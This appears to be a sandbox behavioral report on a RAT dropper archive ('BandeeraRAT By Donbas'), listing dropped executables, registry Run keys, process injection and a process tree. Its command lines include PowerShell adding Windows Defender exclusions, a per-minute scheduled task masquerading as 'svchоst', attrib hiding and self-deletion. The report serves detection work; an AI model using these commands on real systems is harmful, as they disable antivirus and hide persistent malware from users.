N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe N/A
N/A N/A C:\ProgramData\XClient.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Built.exe N/A
N/A N/A C:\ProgramData\Fluxus V7.exe N/A
N/A N/A C:\ProgramData\Built.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\ProgramData\svchоst.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\svchost\$77svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe N/A
N/A N/A C:\ProgramData\Built.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows.exe = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Windows.exe\" .." C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\svchost\\$77svchost.exe\"" C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchоst = "C:\\ProgramData\\svchоst.exe" C:\ProgramData\XClient.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows.exe = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Windows.exe\" .." C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\ProgramData\Fluxus V7.exe

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\Cheat.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\Fluxus V7.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\svchоst.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2184 wrote to memory of 2028 N/A C:\Windows\system32\cmd.exe C:\Program Files\7-Zip\7zFM.exe
PID 2184 wrote to memory of 2028 N/A C:\Windows\system32\cmd.exe C:\Program Files\7-Zip\7zFM.exe
PID 2184 wrote to memory of 2028 N/A C:\Windows\system32\cmd.exe C:\Program Files\7-Zip\7zFM.exe
PID 2028 wrote to memory of 1140 N/A C:\Program Files\7-Zip\7zFM.exe C:\Users\Admin\AppData\Local\Temp\7zOCE795617\BandeeraRAT By Donbas.exe
PID 2028 wrote to memory of 1140 N/A C:\Program Files\7-Zip\7zFM.exe C:\Users\Admin\AppData\Local\Temp\7zOCE795617\BandeeraRAT By Donbas.exe
PID 2028 wrote to memory of 1140 N/A C:\Program Files\7-Zip\7zFM.exe C:\Users\Admin\AppData\Local\Temp\7zOCE795617\BandeeraRAT By Donbas.exe
PID 1140 wrote to memory of 1640 N/A C:\Users\Admin\AppData\Local\Temp\7zOCE795617\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 1140 wrote to memory of 1640 N/A C:\Users\Admin\AppData\Local\Temp\7zOCE795617\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 1140 wrote to memory of 1640 N/A C:\Users\Admin\AppData\Local\Temp\7zOCE795617\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 1140 wrote to memory of 2768 N/A C:\Users\Admin\AppData\Local\Temp\7zOCE795617\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe
PID 1140 wrote to memory of 2768 N/A C:\Users\Admin\AppData\Local\Temp\7zOCE795617\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe
PID 1140 wrote to memory of 2768 N/A C:\Users\Admin\AppData\Local\Temp\7zOCE795617\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe
PID 1640 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 1640 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 1640 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 1640 wrote to memory of 1400 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 1640 wrote to memory of 1400 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 1640 wrote to memory of 1400 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 2768 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe
PID 2768 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe
PID 2768 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe
PID 2768 wrote to memory of 1780 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\sisk.exe
PID 2768 wrote to memory of 1780 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\sisk.exe
PID 2768 wrote to memory of 1780 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\sisk.exe
PID 2056 wrote to memory of 676 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\XClient.exe
PID 2056 wrote to memory of 676 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\XClient.exe
PID 2056 wrote to memory of 676 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\XClient.exe
PID 2056 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Cheat.exe
PID 2056 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Cheat.exe
PID 2056 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Cheat.exe
PID 2056 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Cheat.exe
PID 2056 wrote to memory of 1092 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Built.exe
PID 2056 wrote to memory of 1092 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Built.exe
PID 2056 wrote to memory of 1092 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Built.exe
PID 2056 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Fluxus V7.exe
PID 2056 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Fluxus V7.exe
PID 2056 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Fluxus V7.exe
PID 2056 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Fluxus V7.exe
PID 1092 wrote to memory of 1048 N/A C:\ProgramData\Built.exe C:\ProgramData\Built.exe
PID 1092 wrote to memory of 1048 N/A C:\ProgramData\Built.exe C:\ProgramData\Built.exe
PID 1092 wrote to memory of 1048 N/A C:\ProgramData\Built.exe C:\ProgramData\Built.exe
PID 2780 wrote to memory of 968 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 2780 wrote to memory of 968 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 2780 wrote to memory of 968 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 2780 wrote to memory of 572 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 2780 wrote to memory of 572 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 2780 wrote to memory of 572 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 1400 wrote to memory of 1668 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 1400 wrote to memory of 1668 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 1400 wrote to memory of 1668 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 1400 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 1400 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 1400 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 968 wrote to memory of 1964 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 968 wrote to memory of 1964 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 968 wrote to memory of 1964 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 968 wrote to memory of 2700 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 968 wrote to memory of 2700 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 968 wrote to memory of 2700 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 676 wrote to memory of 2596 N/A C:\ProgramData\XClient.exe C:\Windows\System32\schtasks.exe
PID 676 wrote to memory of 2596 N/A C:\ProgramData\XClient.exe C:\Windows\System32\schtasks.exe
PID 676 wrote to memory of 2596 N/A C:\ProgramData\XClient.exe C:\Windows\System32\schtasks.exe
PID 1780 wrote to memory of 1936 N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1780 wrote to memory of 1936 N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Uses Task Scheduler COM API

persistence

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dbug.rar

C:\Program Files\7-Zip\7zFM.exe

"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Dbug.rar"

C:\Users\Admin\AppData\Local\Temp\7zOCE795617\BandeeraRAT By Donbas.exe

"C:\Users\Admin\AppData\Local\Temp\7zOCE795617\BandeeraRAT By Donbas.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe

"C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe

"C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe"

C:\Users\Admin\AppData\Local\Temp\sisk.exe

"C:\Users\Admin\AppData\Local\Temp\sisk.exe"

C:\ProgramData\XClient.exe

"C:\ProgramData\XClient.exe"

C:\ProgramData\Cheat.exe

"C:\ProgramData\Cheat.exe"

C:\ProgramData\Built.exe

"C:\ProgramData\Built.exe"

C:\ProgramData\Fluxus V7.exe

"C:\ProgramData\Fluxus V7.exe"

C:\ProgramData\Built.exe

"C:\ProgramData\Built.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\System32\attrib.exe

"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\svchost"

C:\Windows\System32\attrib.exe

"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\svchost\$77svchost.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchоst" /tr "C:\ProgramData\svchоst.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\sisk.exe'

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1744 -s 1048

C:\Windows\System32\attrib.exe

"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\svchost\$77svchost.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'sisk.exe'

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\Windows.exe

"C:\Users\Admin\AppData\Local\Temp\Windows.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 5 & Del "C:\ProgramData\Cheat.exe"

